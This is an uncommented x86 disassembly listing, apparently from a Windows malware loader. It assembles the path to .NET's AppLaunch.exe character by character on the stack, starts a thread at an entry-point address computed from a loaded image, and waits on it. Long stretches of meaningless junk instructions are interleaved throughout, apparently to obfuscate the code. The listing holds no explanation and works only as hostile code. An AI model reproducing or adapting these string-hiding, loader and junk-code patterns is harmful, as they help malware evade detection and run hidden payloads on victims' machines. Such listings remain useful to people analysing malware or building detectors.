mov ecx, 0x6f
mov word [ebp - 0x72], cx
mov edx, 0x77
mov word [ebp - 0x70], dx
mov eax, 0x73
mov word [ebp - 0x6e], ax
mov ecx, 0x5c
mov word [ebp - 0x6c], cx
mov edx, 0x4d
mov word [ebp - 0x6a], dx
mov eax, 0x69
mov word [ebp - 0x68], ax
mov ecx, 0x63
mov word [ebp - 0x66], cx
mov edx, 0x72
mov word [ebp - 0x64], dx
mov eax, 0x6f
mov word [ebp - 0x62], ax
mov ecx, 0x73
mov word [ebp - 0x60], cx
mov edx, 0x6f
mov word [ebp - 0x5e], dx
mov eax, 0x66
mov word [ebp - 0x5c], ax
mov ecx, 0x74
mov word [ebp - 0x5a], cx
mov edx, 0x2e
mov word [ebp - 0x58], dx
mov eax, 0x4e
mov word [ebp - 0x56], ax
mov ecx, 0x45
mov word [ebp - 0x54], cx
mov edx, 0x54
mov word [ebp - 0x52], dx
mov eax, 0x5c
mov word [ebp - 0x50], ax
mov ecx, 0x46
mov word [ebp - 0x4e], cx
mov edx, 0x72
mov word [ebp - 0x4c], dx
mov eax, 0x61
mov word [ebp - 0x4a], ax
mov ecx, 0x6d
mov word [ebp - 0x48], cx
mov edx, 0x65
mov word [ebp - 0x46], dx
mov eax, 0x77
mov word [ebp - 0x44], ax
mov ecx, 0x6f
mov word [ebp - 0x42], cx
mov edx, 0x72
mov word [ebp - 0x40], dx
mov eax, 0x6b
mov word [ebp - 0x3e], ax
mov ecx, 0x5c
mov word [ebp - 0x3c], cx
mov edx, 0x76
mov word [ebp - 0x3a], dx
mov eax, 0x34
mov word [ebp - 0x38], ax
mov ecx, 0x2e
mov word [ebp - 0x36], cx
mov edx, 0x30
mov word [ebp - 0x34], dx
mov eax, 0x2e
mov word [ebp - 0x32], ax
mov ecx, 0x33
mov word [ebp - 0x30], cx
mov edx, 0x30
mov word [ebp - 0x2e], dx
mov eax, 0x33
mov word [ebp - 0x2c], ax
mov ecx, 0x31
mov word [ebp - 0x2a], cx
mov edx, 0x39
mov word [ebp - 0x28], dx
mov eax, 0x5c
mov word [ebp - 0x26], ax
mov ecx, 0x41
mov word [ebp - 0x24], cx
mov edx, 0x70
mov word [ebp - 0x22], dx
mov eax, 0x70
mov word [ebp - 0x20], ax
mov ecx, 0x4c
mov word [ebp - 0x1e], cx
mov edx, 0x61
mov word [ebp - 0x1c], dx
mov eax, 0x75
mov word [ebp - 0x1a], ax
mov ecx, 0x6e
mov word [ebp - 0x18], cx
mov edx, 0x63
mov word [ebp - 0x16], dx
mov eax, 0x68
mov word [ebp - 0x14], ax
mov ecx, 0x2e
mov word [ebp - 0x12], cx
mov edx, 0x65
mov word [ebp - 0x10], dx
mov eax, 0x78
mov word [ebp - 0xe], ax
mov ecx, 0x65
mov word [ebp - 0xc], cx
xor edx, edx
mov word [ebp - 0xa], dx
mov eax, dword [ebp - 0x88]
cmp dword [eax + 0xe8], 0
setne cl
mov byte [ebp - 0x115], cl
movzx edx, byte [ebp - 0x115]
test edx, edx
je 0x4095fb
push 8
mov eax, dword [ebp - 0xfc]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call fcn.00401260
add esp, 0xc
mov edx, dword [ebp - 0xfc]
lea eax, [ebp - 0x80]
mov dword [edx + 4], eax
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov edx, dword [ebp - 0xfc]
mov word [edx], ax
dec esi
and eax, 0x19
neg ebx
ror ebx, 0xf5
and eax, 0x4a
rcr ebx, 4
mov edx, 0xa3
rcr ebx, 0x5d
not edi
inc esi
and edi, 0xc4
bswap esi
inc edx
inc edi
inc edx
neg eax
rcr eax, 0x44
not esi
ror ebx, 0xc2
not eax
inc esi
imul ebx
or esi, 0x14
bswap edx
dec ebx
imul ebx
dec edi
imul edx
dec edx
rcr ebx, 0x19
mov ebx, 0x1d
sub esi, 0x28
rcl eax, 0xd
rcl esi, 0xca
and ebx, 0xd2
rcl esi, 0x74
neg edi
rcr ebx, 4
inc edx
sbb edi, 0xec
add edi, 0x83
rol eax, 0xba
or ebx, 0x15
inc edx
bswap edi
imul ebx
imul edi
or edx, 0xcf
sub eax, 0x6a
or edi, 0xc6
imul edx
rol ebx, 0xf9
bswap edx
not eax
inc edi
neg esi
sbb edi, 0xf1
or ebx, 0xf2
dec edi
sbb edx, 0xd8
not ebx
or eax, 0x29
not eax
not eax
rcr ebx, 0x7d
sub eax, 0xa6
dec edi
sub esi, 0xbb
sub ebx, 0x49
sbb esi, 0x65
rcl ebx, 0x17
imul edx
neg esi
neg esi
inc esi
ror edi, 0x8f
rol esi, 0x6e
not esi
mov ebx, 0x7d
add eax, 0xbc
neg eax
ror edi, 0x50
or edi, 0x5e
neg edi
dec esi
and eax, 0x1d
ror edi, 4
and edx, 0xdb
and eax, 0x88
sbb ebx, 0x8d
inc esi
rcr esi, 0xf5
mov edi, 0x61
inc edi
dec esi
bswap ebx
imul esi
inc eax
mov eax, 0xa2
bswap edx
neg edx
or eax, 2
add eax, 0x2e
rcr edi, 0xc1
or esi, 0xaa
dec ebx
add edi, 0x7c
bswap esi
inc edi
inc eax
mov edx, 0xc5
sbb edi, 0x33
imul edx
add edi, 0x92
bswap edx
neg edi
not esi
bswap edx
sub eax, 0xcc
mov edi, 0x96
ror esi, 0xa7
and ebx, 0xa2
rol edi, 0xb7
and eax, 0x42
dec eax
not ebx
dec eax
ror esi, 0x64
not edi
sub edi, 0x42
inc ebx
rcr edx, 0xdf
rcl edi, 0x1d
neg eax
imul edx
sbb esi, 0x75
sub esi, 0x35
or edx, 0x22
neg eax
not edx
inc esi
inc edx
bswap ebx
dec edi
rcl esi, 0
and edx, 0xe6
inc esi
or edi, 0xf1
neg eax
imul ebx
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + 0x28]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x104], eax
movzx edx, byte [ebp - 0x115]
test edx, edx
je 0x4097ed
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebp - 0xfc]
push ecx
call fcn.00401260
add esp, 0xc
push 0xffffffffffffffff
mov edx, dword [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
imul edx
or edx, 0xa8
sbb edi, 0x84
bswap edx
add esi, 0x56
or esi, 0x5a
sub eax, 0x24
rcr ebx, 0xec
and edi, 0x66
rcl edx, 0x39
rol eax, 0xb0
imul eax
rol edi, 0x61
add eax, 0x17
sbb ebx, 0xee
rol eax, 0xea
inc eax
not eax
neg eax
rcr ebx, 0xda
imul edi
ror eax, 0xd4
inc esi
imul esi
not edx
rol ebx, 0x11
inc eax
rcl esi, 0x73
inc edi
add eax, 0xdd
neg eax
or eax, 5
dec ebx
rol edx, 0xf
sub esi, 0x11
rol eax, 0x26
bswap eax
inc ebx
bswap esi
imul esi
add esi, 0x27
ror eax, 0x88
inc edi
inc esi
imul eax
bswap esi
not edx
dec ebx
inc edi
and eax, 0x8d
not edx
mov eax, 0xe0
not ebx
mov edx, 0x40
bswap edx
dec edi
dec edi
rol edi, 0x57
rol edi, 0xd8
sbb ebx, 0xa8
inc edi
sub eax, 0xca
neg edi
not edx
imul edi
not edi
ror edi, 0xde
inc edi
dec edi
imul esi
rcr edx, 0x46
not edx
mov edi, 2
not edx
inc edx
bswap edi
neg ebx
not eax
neg ebx
imul ebx
add esi, 0x38
sub eax, 0xbd
rcr edi, 0xf2
sub edx, 0xf
bswap eax
or eax, 0xb3
mov edi, 0x54
and esi, 0x2f
sbb ebx, 0x2b
imul edi
and edi, 0xe3
not esi
not edx
mov edi, 0x84
neg eax
rol edi, 0x6d
sub esi, 0x55
inc edi
rcl ebx, 4
imul edi
imul ebx
not eax
and esi, 1
sub eax, 0x50
inc eax
dec ebx
neg edi
inc edi
ror ebx, 0xdd
ror edx, 0x12
or edi, 0xc6
bswap esi
bswap esi
dec ebx
rcr eax, 0x80
neg edi
bswap esi
not ebx
inc esi
add ebx, 7
rol esi, 0xf9
add edx, 0x79
add edi, 0x90
neg ebx
sub esi, 0xac
inc edi
dec edi
rol eax, 0xb0
bswap edx
neg edx
sub ebx, 0x92
ror edx, 0x74
add esi, 0xd4
sbb edx, 0xef
not edx
or esi, 0x93
or ebx, 0x1a
dec eax
imul esi
rol eax, 0x36
not eax
neg ebx
bswap edi
or edx, 0x3e
and eax, 0x44
sbb edx, 0xb4
not edi
imul ebx
add esi, 0xbc
neg edi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret